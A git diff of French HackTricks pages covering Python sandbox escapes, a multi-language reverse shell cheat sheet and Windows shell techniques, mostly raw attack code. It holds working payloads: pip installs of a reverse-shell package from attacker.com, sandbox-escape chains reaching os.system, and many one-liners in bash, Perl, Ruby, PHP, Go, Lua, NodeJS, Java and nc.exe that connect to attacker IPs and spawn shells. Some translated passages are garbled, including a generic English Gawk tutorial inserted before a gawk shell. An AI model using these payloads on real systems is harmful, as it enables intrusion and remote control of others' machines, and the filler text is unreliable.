||||
* Il peut également être utile de consulter [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Recherche avancée Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Prise en charge des regex.
|
||||
* [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets.
|
||||
|
||||
|
@ -28,6 +36,12 @@ Cela aide dans plusieurs occasions à **rechercher des informations divulguées*
|
|||
Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
|
||||
{% endhint %}
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
@ -36,7 +50,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
|
@ -14,11 +14,19 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Voici quelques astuces pour contourner les protections des sandbox Python et exécuter des commandes arbitraires.
|
||||
|
||||
## Bibliothèques d'exécution de commandes
|
||||
|
||||
La première chose à savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
|
||||
La première chose que vous devez savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -91,7 +99,7 @@ Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package a
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Vous pouvez télécharger le package pour créer le shell inversé ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, modifier le `setup.py`, et mettre votre adresse IP pour le shell inversé**:
|
||||
Vous pouvez télécharger le package pour créer le shell inversé ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, modifier le `setup.py`, et mettre votre IP pour le shell inversé**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
|
@ -105,7 +113,7 @@ Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de so
|
|||
Notez que exec autorise les chaînes multilignes et le point-virgule, mais eval ne le fait pas (vérifiez l'opérateur walrus)
|
||||
{% endhint %}
|
||||
|
||||
Si certains caractères sont interdits, vous pouvez utiliser la représentation **hexadécimale/octale/B64** pour **contourner** la restriction:
|
||||
Si certains caractères sont interdits, vous pouvez utiliser la représentation **hexadécimale/octale/Base64** pour **contourner** la restriction:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -151,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Contourner les protections à travers les encodages (UTF-7)
|
||||
|
||||
Dans [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) l'UTF-7 est utilisé pour charger et exécuter du code Python arbitraire à l'intérieur d'un sandbox apparent:
|
||||
Dans [**ce compte rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un sandbox apparent:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -248,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### Création d'objets avec [méta-classes](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
La chose clé que les méta-classes nous permettent de faire est de **créer une instance d'une classe, sans appeler directement le constructeur**, en créant une nouvelle classe avec la classe cible en tant que méta-classe.
|
||||
La chose clé que les méta-classes nous permettent de faire est de **créer une instance d'une classe, sans appeler directement le constructeur**, en créant une nouvelle classe avec la classe cible comme méta-classe.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -307,7 +315,7 @@ __iadd__ = eval
|
|||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Lire le fichier avec l'aide des builtins et la licence
|
||||
### Lire le fichier avec l'aide des fonctions intégrées et la licence
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
|
@ -375,7 +383,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Ci-dessous se trouve une fonction plus grande**](./#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **emplacements** où vous pouvez trouver les **builtins**.
|
||||
[**Ci-dessous, il y a une fonction plus grande**](./#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **emplacements** où vous pouvez trouver les **builtins**.
|
||||
|
||||
#### Python2 et Python3
|
||||
```python
|
||||
|
@ -391,9 +399,9 @@ __builtins__["__import__"]("os").system("ls")
|
|||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globaux et locaux
|
||||
|
||||
Vérifier les **`globals`** et les **`locals`** est un bon moyen de savoir à quoi vous pouvez accéder.
|
||||
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir à quoi vous pouvez accéder.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -516,7 +524,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
De plus, si vous pensez que **d'autres bibliothèques** peuvent être en mesure de **appeler des fonctions pour exécuter des commandes**, nous pouvons également **filtrer par noms de fonctions** à l'intérieur des bibliothèques potentielles:
|
||||
De plus, si vous pensez que **d'autres bibliothèques** peuvent être en mesure de **appeler des fonctions pour exécuter des commandes**, nous pouvons également **filtrer par noms de fonctions** à l'intérieur des bibliothèques possibles:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -551,7 +559,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## Recherche récursive des fonctions intégrées, des variables globales...
|
||||
|
||||
{% hint style="warning" %}
|
||||
C'est tout simplement **génial**. Si vous **cherchez un objet tel que globals, builtins, open ou tout autre chose**, utilisez ce script pour **rechercher de manière récursive les endroits où vous pouvez trouver cet objet.**
|
||||
C'est tout simplement **génial**. Si vous **cherchez un objet tel que globals, builtins, open ou tout autre chose**, utilisez ce script pour **rechercher de manière récursive les endroits où vous pouvez trouver cet objet**.
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -676,7 +684,7 @@ Vous pouvez vérifier la sortie de ce script sur cette page :
|
|||
|
||||
## Chaîne de format Python
|
||||
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux **informations internes de python**. Vous pouvez utiliser les exemples précédents pour accéder aux globaux ou aux fonctions intégrées par exemple.
|
||||
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder à **des informations internes de python**. Vous pouvez utiliser les exemples précédents pour accéder aux globaux ou aux fonctions intégrées par exemple.
|
||||
|
||||
{% hint style="info" %}
|
||||
Cependant, il y a une **limitation**, vous ne pouvez utiliser que les symboles `.[]`, donc vous **ne pourrez pas exécuter de code arbitraire**, juste lire des informations.\
|
||||
|
@ -701,7 +709,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et aux éléments du **dictionnaire** avec des **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément de dictionnaire** avec des **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
|
||||
Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
|
@ -724,14 +732,14 @@ return 'HAL 9000'
|
|||
**Plus d'exemples** sur les exemples de **format** **string** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Consultez également la page suivante pour des gadgets qui vont **lire des informations sensibles à partir d'objets internes Python**:
|
||||
Consultez également la page suivante pour des gadgets qui vont **lire des informations sensibles à partir des objets internes de Python**:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Charges de divulgation d'informations sensibles
|
||||
### Charges utiles de divulgation d'informations sensibles
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -745,10 +753,10 @@ Consultez également la page suivante pour des gadgets qui vont **lire des infor
|
|||
## Disséquer les objets Python
|
||||
|
||||
{% hint style="info" %}
|
||||
Si vous voulez **apprendre** en profondeur sur le **bytecode Python**, lisez ce **superbe** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Si vous voulez en savoir plus sur le **bytecode Python**, lisez ce **superbe** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Dans certains CTF, vous pourriez recevoir le nom d'une **fonction personnalisée où se trouve le drapeau** et vous devez examiner les **internes** de la **fonction** pour l'extraire.
|
||||
Dans certains CTF, il se peut que vous soyez fourni avec le nom d'une **fonction personnalisée où se trouve le drapeau** et vous devez examiner les **internes** de la **fonction** pour l'extraire.
|
||||
|
||||
Voici la fonction à inspecter :
|
||||
```python
|
||||
|
@ -770,7 +778,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` et `func_globals`(Même) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, certaines variables globales et leur contenu déclaré:
|
||||
`__globals__` et `func_globals` (identiques) permettent d'obtenir l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, certaines variables globales et leur contenu déclaré:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -895,7 +903,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
```
|
||||
## Compilation de Python
|
||||
|
||||
Maintenant, imaginons que vous puissiez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** **l'exécuter**.\
|
||||
Maintenant, imaginons que vous puissiez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** l'**exécuter**.\
|
||||
Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant simplement le désassemblage, vous **ne savez pas comment calculer le drapeau** (_imaginez une fonction `calc_flag` plus complexe_).
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
|
@ -956,7 +964,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Contourner les défenses
|
||||
|
||||
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code Python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en **une seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en **une seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
|
||||
Quoi qu'il en soit, parfois il pourrait être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la machine **CTF** (par exemple parce que nous n'avons pas la fonction `compile` dans le CTF).
|
||||
|
||||
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
|
||||
|
@ -1029,7 +1037,11 @@ seront contournés
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
***
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,17 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Si vous avez des questions sur l'un de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
## TTY complet
|
||||
|
||||
**Une fois que vous avez obtenu un shell inversé**[ **lisez cette page pour obtenir un TTY complet**](full-ttys.md)**.**
|
||||
|
||||
|
@ -63,7 +71,7 @@ Lorsqu'il s'agit d'une vulnérabilité d'**Exécution de Code à Distance (RCE)*
|
|||
|
||||
Un outil recommandé à cette fin est [toboggan](https://github.com/n3rada/toboggan.git), qui simplifie l'interaction avec l'environnement cible.
|
||||
|
||||
Pour utiliser toboggan efficacement, créez un module Python adapté au contexte RCE de votre système cible. Par exemple, un module nommé `nix.py` pourrait être structuré comme suit:
|
||||
Pour utiliser toboggan efficacement, créez un module Python adapté au contexte de RCE de votre système cible. Par exemple, un module nommé `nix.py` pourrait être structuré comme suit:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -102,7 +110,7 @@ Il vous suffit de modifier :
|
|||
* Le préfixe et le suffixe de votre charge utile (le cas échéant)
|
||||
* La manière dont la charge utile est envoyée (en-têtes ? données ? informations supplémentaires ?)
|
||||
|
||||
Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les tubes sont lus et écrits avec un délai approximatif de 1,3s).
|
||||
Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les pipes sont lus et écrits avec un délai approximatif de 1,3s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -149,21 +157,19 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration tasks, web development, and network programming. Perl scripts can be used for various hacking tasks, such as automating repetitive tasks, manipulating data, and creating custom tools.
|
||||
Perl est un langage de script polyvalent et puissant couramment utilisé pour l'automatisation de tâches, le traitement de texte et la manipulation de fichiers. Il est également largement utilisé dans le domaine de la sécurité informatique pour diverses tâches, telles que l'analyse de fichiers journaux, la manipulation de données et la création d'outils personnalisés. Perl offre une grande flexibilité et une grande capacité à interagir avec le système d'exploitation, ce qui en fait un outil précieux pour les professionnels de la sécurité informatique.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby is a dynamic, open-source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is commonly used for web development, automation, and scripting. It is known for its flexibility and is often used in the development of web applications and software tools.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP (Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. It is executed on the server side, meaning that the code is processed on the server before being sent to the client's web browser. PHP can perform various tasks such as collecting form data, generating dynamic page content, sending and receiving cookies, and more. It is compatible with many databases, including MySQL, PostgreSQL, Oracle, and others. PHP is known for its flexibility, ease of use, and strong community support.
|
||||
PHP (Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. It is executed on the server side, meaning that the code is processed on the server before being sent to the client's web browser. PHP can perform various tasks such as collecting form data, generating dynamic page content, sending and receiving cookies, and more. It is commonly used in combination with MySQL databases to create powerful and dynamic web applications.
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -191,6 +197,8 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
|
|||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation, l'extension d'applications et le prototypage rapide. Lua peut être intégré dans des applications plus larges pour offrir une plus grande flexibilité et personnalisation.
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -198,6 +206,8 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123
|
|||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## NodeJS
|
||||
|
||||
NodeJS est une plateforme open-source basée sur le moteur JavaScript V8 de Google Chrome, qui permet d'exécuter du code JavaScript côté serveur. NodeJS est largement utilisé pour créer des applications web rapides et évolutives.
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -290,7 +300,27 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
```
|
||||
## Gawk
|
||||
|
||||
Gawk est un langage de programmation qui est souvent utilisé pour le traitement de fichiers texte. Il est très puissant et flexible, et il est souvent utilisé par les hackers pour manipuler des données et automatiser des tâches. Gawk peut être utilisé pour extraire des informations spécifiques à partir de fichiers texte, effectuer des calculs, et bien plus encore. Il est un outil polyvalent qui peut être très utile lors de l'analyse de données ou de la manipulation de fichiers texte dans le cadre de tests d'intrusion.
|
||||
### Introduction
|
||||
|
||||
Gawk is a powerful programming language that is particularly useful for handling data extraction and reporting tasks. It is often used in combination with shell scripts to process text files and manipulate data.
|
||||
|
||||
### Basic Usage
|
||||
|
||||
To use Gawk, you can simply run the `gawk` command followed by the script file you want to execute. For example:
|
||||
|
||||
```bash
|
||||
gawk -f script.awk data.txt
|
||||
```
|
||||
|
||||
This command will execute the `script.awk` script on the `data.txt` file.
|
||||
|
||||
### AWK Scripts
|
||||
|
||||
AWK scripts are written in a specific syntax that allows for pattern scanning and processing. These scripts can be used to extract specific data from files, perform calculations, and generate reports.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Gawk is a versatile tool that can be used for a wide range of data processing tasks. By mastering Gawk, you can efficiently manipulate and extract data from text files, making it a valuable asset in your hacking toolkit.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -342,6 +372,12 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -8,16 +8,24 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
La page [lolbas-project.github.io](https://lolbas-project.github.io/) est pour Windows comme [https://gtfobins.github.io/](https://gtfobins.github.io/) est pour Linux.\
|
||||
De toute évidence, **il n'y a pas de fichiers SUID ou de privilèges sudo dans Windows**, mais il est utile de savoir **comment** certains **binaires** peuvent être (mal) utilisés pour effectuer des actions inattendues telles que **exécuter du code arbitraire.**
|
||||
Évidemment, **il n'y a pas de fichiers SUID ou de privilèges sudo dans Windows**, mais il est utile de savoir **comment** certains **binaires** peuvent être (mal)utilisés pour effectuer des actions inattendues comme **exécuter du code arbitraire.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -25,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) est une alternative portable et sécurisée à Netcat**. Il fonctionne sur les systèmes de type Unix et Win32. Avec des fonctionnalités telles que le chiffrement fort, l'exécution de programmes, des ports source personnalisables et une reconnexion continue, sbd offre une solution polyvalente pour la communication TCP/IP. Pour les utilisateurs de Windows, la version sbd.exe de la distribution Kali Linux peut être utilisée comme un remplacement fiable de Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) est une alternative portable et sécurisée à Netcat**. Il fonctionne sur les systèmes de type Unix et Win32. Avec des fonctionnalités telles qu'un cryptage fort, l'exécution de programmes, des ports source personnalisables et une reconnexion continue, sbd offre une solution polyvalente pour la communication TCP/IP. Pour les utilisateurs de Windows, la version sbd.exe de la distribution Kali Linux peut être utilisée comme un remplacement fiable de Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -48,13 +56,13 @@ perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprot
|
|||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby is a dynamic, open-source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is commonly used for web development and scripting tasks.
|
||||
